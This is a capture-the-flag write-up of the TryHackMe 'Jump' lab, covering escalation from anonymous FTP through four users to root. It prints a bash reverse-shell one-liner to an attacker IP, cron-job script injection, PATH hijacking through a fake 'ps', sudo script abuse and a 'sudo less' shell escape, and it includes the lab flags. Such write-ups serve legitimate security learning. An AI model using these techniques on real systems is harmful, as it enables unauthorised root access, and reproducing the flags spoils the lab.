TryHackMe | Jump

TryHackMe

TryHackMe | Jump

Use privilege escalation knowledge to jump from a normal user to root.

Sep 02, 2026TryHackMe

Lab Description

Your objective is to escalate from anonymous access all the way through: recon_user → dev_user → monitor_user → ops_user → root

System Enumeration

Lets start with scanning our target with Nmap

┌─[ronish@parrot]─[~/Downloads/OpenVpn/thm/Linux]
└─[★]$ nmap --min-rate 1500 -T4 10.49.183.83
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-03 00:03 +0545
Nmap scan report for 10.49.183.83
Host is up (0.036s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE    SERVICE
4/tcp  filtered unknown
21/tcp open     ftp
22/tcp open     ssh

Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds
┌─[ronish@parrot]─[~/Downloads/OpenVpn/thm/Linux]
└─[★]$ nmap -p 21,22 -sV -sC --min-rate 1500 -T4 10.49.183.83
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-03 00:04 +0545
Nmap scan report for 10.49.183.83
Host is up (0.040s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 115      123          4096 Apr 30 06:00 incoming [NSE: writeable]
|_drwxr-xr-x    4 115      123          4096 Jun 09 08:22 pub
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.128.148
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b0:02:b2:54:e3:7f:f1:71:ca:14:da:bc:e6:0a:a0:79 (ECDSA)
|_  256 c8:9b:68:a2:e3:cc:72:ae:2e:98:78:13:8d:bf:a6:59 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds

Initial Access

From above output,We can tell there are two ports open ftp and ssh.Additionally ftp allows a Anonymous login.

┌─[ronish@parrot]─[~/Downloads/OpenVpn/thm/Linux]
└─[★]$ ftp 10.49.183.83 
Connected to 10.49.183.83.
220 (vsFTPd 3.0.5)
Name (10.49.183.83:ronish): Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

After reviewing the files and directory,we got a file name README.txt

ftp> ls
229 Entering Extended Passive Mode (|||56939|)
150 Here comes the directory listing.
drwxrwxrwx    2 115      123          4096 Apr 30 06:00 incoming
drwxr-xr-x    4 115      123          4096 Jun 09 08:22 pub
226 Directory send OK.
ftp> cd incoming
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||58785|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> cd ../pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||31075|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             139 Feb 02  2026 README.txt
drwxr-xr-x    2 115      123          4096 Feb 01  2026 archive
drwxrwxrwx    2 115      123          4096 Feb 01  2026 uploads
226 Directory send OK.
ftp> get README.txt
local: README.txt remote: README.txt
229 Entering Extended Passive Mode (|||33622|)
150 Opening BINARY mode data connection for README.txt (139 bytes).
100% |*****************************************************************************************************|   139        1.54 MiB/s    00:00 ETA
226 Transfer complete.
139 bytes received in 00:00 (3.66 KiB/s)
ftp> ls archive/
229 Entering Extended Passive Mode (|||22758|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls uploads
229 Entering Extended Passive Mode (|||12812|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> 

Hint

After reading this file,the main hint was Recon which is our first user’s to target as lab description.Second hint was jobs which can be Cron Job that runs a script in scheculed time. The last one incoming/, where we saw there is a incoming name directory.As I understood,There is a cron job in incoming directory for Recon users.

First Shell

┌─[ronish@parrot]─[~/Downloads/OpenVpn/thm/Linux]
└─[★]$ cat shell.sh 
#!/bin/bash
bash -i >& /dev/tcp/192.168.128.148/4444 0>&1
┌─[ronish@parrot]─[~/Downloads/OpenVpn/thm/Linux]
└─[★]$ ftp 10.49.183.83  
Connected to 10.49.183.83.
220 (vsFTPd 3.0.5)
Name (10.49.183.83:ronish): Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd incoming
250 Directory successfully changed.
ftp> put shell.sh 
local: shell.sh remote: shell.sh
229 Entering Extended Passive Mode (|||29437|)
150 Ok to send data.
100% |*****************************************************************************************************|    58        1.02 MiB/s    00:00 ETA
226 Transfer complete.
58 bytes sent in 00:00 (0.74 KiB/s)
ftp> exit
221 Goodbye.
┌─[ronish@parrot]─[~/Downloads/OpenVpn/thm/Linux]
└─[★]$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.49.183.83 46128
bash: cannot set terminal process group (3246): Inappropriate ioctl for device
bash: no job control in this shell
recon_user@tryhackme-2404:~$ 

We created a script that gets us reverse shell and putting it on incoming directory.At last we setup a listener in a same port.After some time we got our first shell from Recon.

recon_user@tryhackme-2404:~$ ls
flag.txt  shell.sh
recon_user@tryhackme-2404:~$ cat flag.txt 
THM{5a3f1c92-7b4e-4d91-8c2a-1f6e9b2a4c11}
recon_user@tryhackme-2404:~$ 

We got out first flag

Horizontal privilege escalation

(recon_user —> dev_user)

recon_user@tryhackme-2404:~$ id
uid=1001(recon_user) gid=1001(recon_user) groups=1001(recon_user),1002(dev_user),1005(devops)
recon_user@tryhackme-2404:~$ cd ..
recon_user@tryhackme-2404:/home$ ls
dev_user  monitor_user  ops_user  recon_user  ubuntu
recon_user@tryhackme-2404:/home$ cd dev_user/
recon_user@tryhackme-2404:/home/dev_user$ ls 
flag.txt
recon_user@tryhackme-2404:/home/dev_user$ cat flag.txt 
THM{8d2b7a41-3f9c-4e55-b1a2-6c7d9e8f0123}
recon_user@tryhackme-2404:/home/dev_user$ 

We got the flag of Dev_User due to being in same group Devops.After finding nothing in the system ,I decided to use pspy64 script. Pspy64 is a command-line tool designed for Linux environments that allows you to snoop on processes without needing root permissions.

Host Wget

First I hosted a python server in my Local machine,then using wget i downloaded in target machine.

Pspy

After running that script, we got a lot for information about UID=1002 which is Dev_User.We can see a script running in /opt/dev/backup.sh.

I changed the directory to /opt/dev and saw a script called backup.sh owned by dev_user.As Recon_user is also the group in dev_user we can modify that script and insert a code for reverse shell.

Rev

After some time i got a shell back with dev_user

┌─[ronish@parrot]─[~/Downloads/OpenVpn/thm/Linux]
└─[★]$ nc -lvnp 4445
Listening on 0.0.0.0 4445
Connection received on 10.49.183.83 49284
bash: cannot set terminal process group (5228): Inappropriate ioctl for device
bash: no job control in this shell
dev_user@tryhackme-2404:~$ 

(dev_user —> monitor_user)

At first ,I looked at running Process with ps aux for monitor_user.I found a script running, owned by monitor.

dev_user@tryhackme-2404:~$ ls
flag.txt
dev_user@tryhackme-2404:~$ ps aux | grep "monitor*"
monitor+     601  0.0  0.3   7748  3468 ?        Ss   18:03   0:01 /bin/bash /usr/local/bin/healthcheck
monitor+    5901  0.0  0.2   6120  1968 ?        S    19:34   0:00 sleep 5
dev_user    5903  0.0  0.2   7088  2160 pts/1    S+   19:34   0:00 grep --color=auto monitor*

Changing the directory to /usr/local/bin, I found what healthcheck script does.

dev_user@tryhackme-2404:~$ cd /usr/local/bin/
dev_user@tryhackme-2404:/usr/local/bin$ ls -la
total 16
drwxr-xr-x  2 root         root         4096 Apr 29 10:35 .
drwxr-xr-x 10 root         root         4096 Oct 26  2020 ..
-rwxr-xr-x  1 ops_user     ops_user       55 Feb  2  2026 deploy.sh
-rwxr-xr-x  1 monitor_user monitor_user   98 Apr 29 10:35 healthcheck
dev_user@tryhackme-2404:/usr/local/bin$ cat healthcheck 
#!/bin/bash
echo "Running as: $(whoami)"
while true; do
  ps aux | grep -v grep
  sleep 5
done

The main vulnerabilty in healthcheck script is runnign ps with no absolute path,I tried a path hijacking using /tmp but it didnt worked because the path running for monitor user is specified in somewhere else.

dev_user@tryhackme-2404:/usr/local/bin$ find / -name "healthcheck*" 2>/dev/null
/sys/fs/cgroup/system.slice/healthcheck.service
/usr/local/bin/healthcheck
/etc/systemd/system/healthcheck.service
/etc/systemd/system/timers.target.wants/healthcheck.timer
/etc/systemd/system/healthcheck.timer
dev_user@tryhackme-2404:/usr/local/bin$ cd /etc/systemd/system
dev_user@tryhackme-2404:/etc/systemd/system$ cat h
healthcheck.service        hibernate.target.wants/
healthcheck.timer          hybrid-sleep.target.wants/
dev_user@tryhackme-2404:/etc/systemd/system$ cat healthcheck.service 
[Unit]
Description=System Health Check

[Service]
Type=simple
User=monitor_user
Environment=PATH=/opt/dev/bin:/usr/local/bin:/usr/bin
ExecStart=/usr/local/bin/healthcheck
dev_user@tryhackme-2404:/etc/systemd/system$ 

After enumerating more,we found the env path for monitor user which is /opt/dev/bin.lets go into that directory.

Monitor

Here as we can see,ps file is already there.I just changed that IP to mine with port number.At first,I ran listener withour giving executing permission to ps file.But after some time I got shell in another terminal by giving +x for ps. Okay lemme explain what happened in the background,First Monitor user is running healthcheck service/script with the interval of 5 sec.In that script we did found ps aux command is running without specifing the exact path,So when system calls ps ,it look for the env path at first which is /opt/dev/bin in this case.So we inserted our payload in ps to get the reverse shell.Every time that service runs,our reverse shell got executed

┌─[ronish@parrot]─[~/Downloads/OpenVpn/thm/Linux]
└─[★]$ nc -lvnp 4446
Listening on 0.0.0.0 4446
Connection received on 10.49.137.224 51340
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
monitor_user@tryhackme-2404:/$ 

Here,We got the Monitor_user shell.

(monitor_user —> ops_user)

monitor_user@tryhackme-2404:~$ ls
flag.txt
monitor_user@tryhackme-2404:~$ cd /usr/local/bin/
monitor_user@tryhackme-2404:/usr/local/bin$ ls -la
total 16
drwxr-xr-x  2 root         root         4096 Apr 29 10:35 .
drwxr-xr-x 10 root         root         4096 Oct 26  2020 ..
-rwxr-xr-x  1 ops_user     ops_user       55 Feb  2  2026 deploy.sh
-rwxr-xr-x  1 monitor_user monitor_user   98 Apr 29 10:35 healthcheck
monitor_user@tryhackme-2404:/usr/local/bin$ id
uid=1003(monitor_user) gid=1003(monitor_user) groups=1003(monitor_user)
monitor_user@tryhackme-2404:/usr/local/bin$ cat deploy.sh 
#!/bin/bash
cd /opt/app 2>/dev/null
./deploy_helper.sh
monitor_user@tryhackme-2404:/usr/local/bin$ cd /opt/app
monitor_user@tryhackme-2404:/opt/app$ cat deploy_helper.sh 
#!/bin/bash
echo "[+] Deploy helper running"
echo "[+] Syncing application files"
sleep 2
monitor_user@tryhackme-2404:/opt/app$ ls -la
total 16
drwxr-xr-x 3 ops_user     ops_user     4096 Feb  2  2026 .
drwxr-xr-x 5 root         root         4096 Feb  2  2026 ..
drwxrwxr-x 2 monitor_user monitor_user 4096 Feb  2  2026 data
-rwxr-xr-x 1 monitor_user monitor_user   90 Feb  2  2026 deploy_helper.sh
monitor_user@tryhackme-2404:/opt/app$ sudo -l
Matching Defaults entries for monitor_user on tryhackme-2404:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, env_keep+=LESS

User monitor_user may run the following commands on tryhackme-2404:
    (ops_user) NOPASSWD: /usr/local/bin/deploy.sh
monitor_user@tryhackme-2404:/opt/app$ 

In healthcheck enumeration,i got an eye on this deploy.sh which is owned by Ops_user.After reading that I found it executes the /opt/app/deploy_helper.sh which is owned my Monitor_user.Additionally we found using sudo -l that we can use Ops_user for this specific script /usr/local/bin/deploy.sh

Ops_User Ops_Shell

Okay lemme explain what happen in background,First i inserted that code to get reverse shell.As we can run /usr/local/bin/deploy.sh as Ops_user without entering the password.I ran sudo -u ops_user /usr/local/bin/deploy.sh.The deploy.sh now runs as Ops_user where inside that deploy.sh we have another script deploy_helper.sh that gives us our reverse shell.If we ran ./deploy.sh normally as Monitor_user even tho the file was owned by Ops_user we will only get shell from Monitor_user.

So I got the Ops_user shell

Vertical Privilege Escalation

(ops_user —> root)

ops_user@tryhackme-2404:~$ id
uid=1004(ops_user) gid=1004(ops_user) groups=1004(ops_user)
ops_user@tryhackme-2404:~$ sudo -l
Matching Defaults entries for ops_user on tryhackme-2404:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, env_keep+=LESS

User ops_user may run the following commands on tryhackme-2404:
    (root) NOPASSWD: /usr/bin/less
ops_user@tryhackme-2404:~$ 

Here,using sudo -l we found that we have privilege to use sudo for /usr/bin/less where it can be miused to privilege escalation.

GTFOBIns

GTFOBins is a curated database of Unix-like system binaries that can be abused to bypass local security restrictions, escalate privileges, or perform post-exploitation tasks on misconfigured systems.Here we got the payload to get the root.

GTFOBIns

First,Lets use sudo less /etc/hosts.As we have authority to use Sudo for Less.

Payload

After opening /etc/hosts ,just type !/bin/sh and hit enter.

root

Boom,We are Root.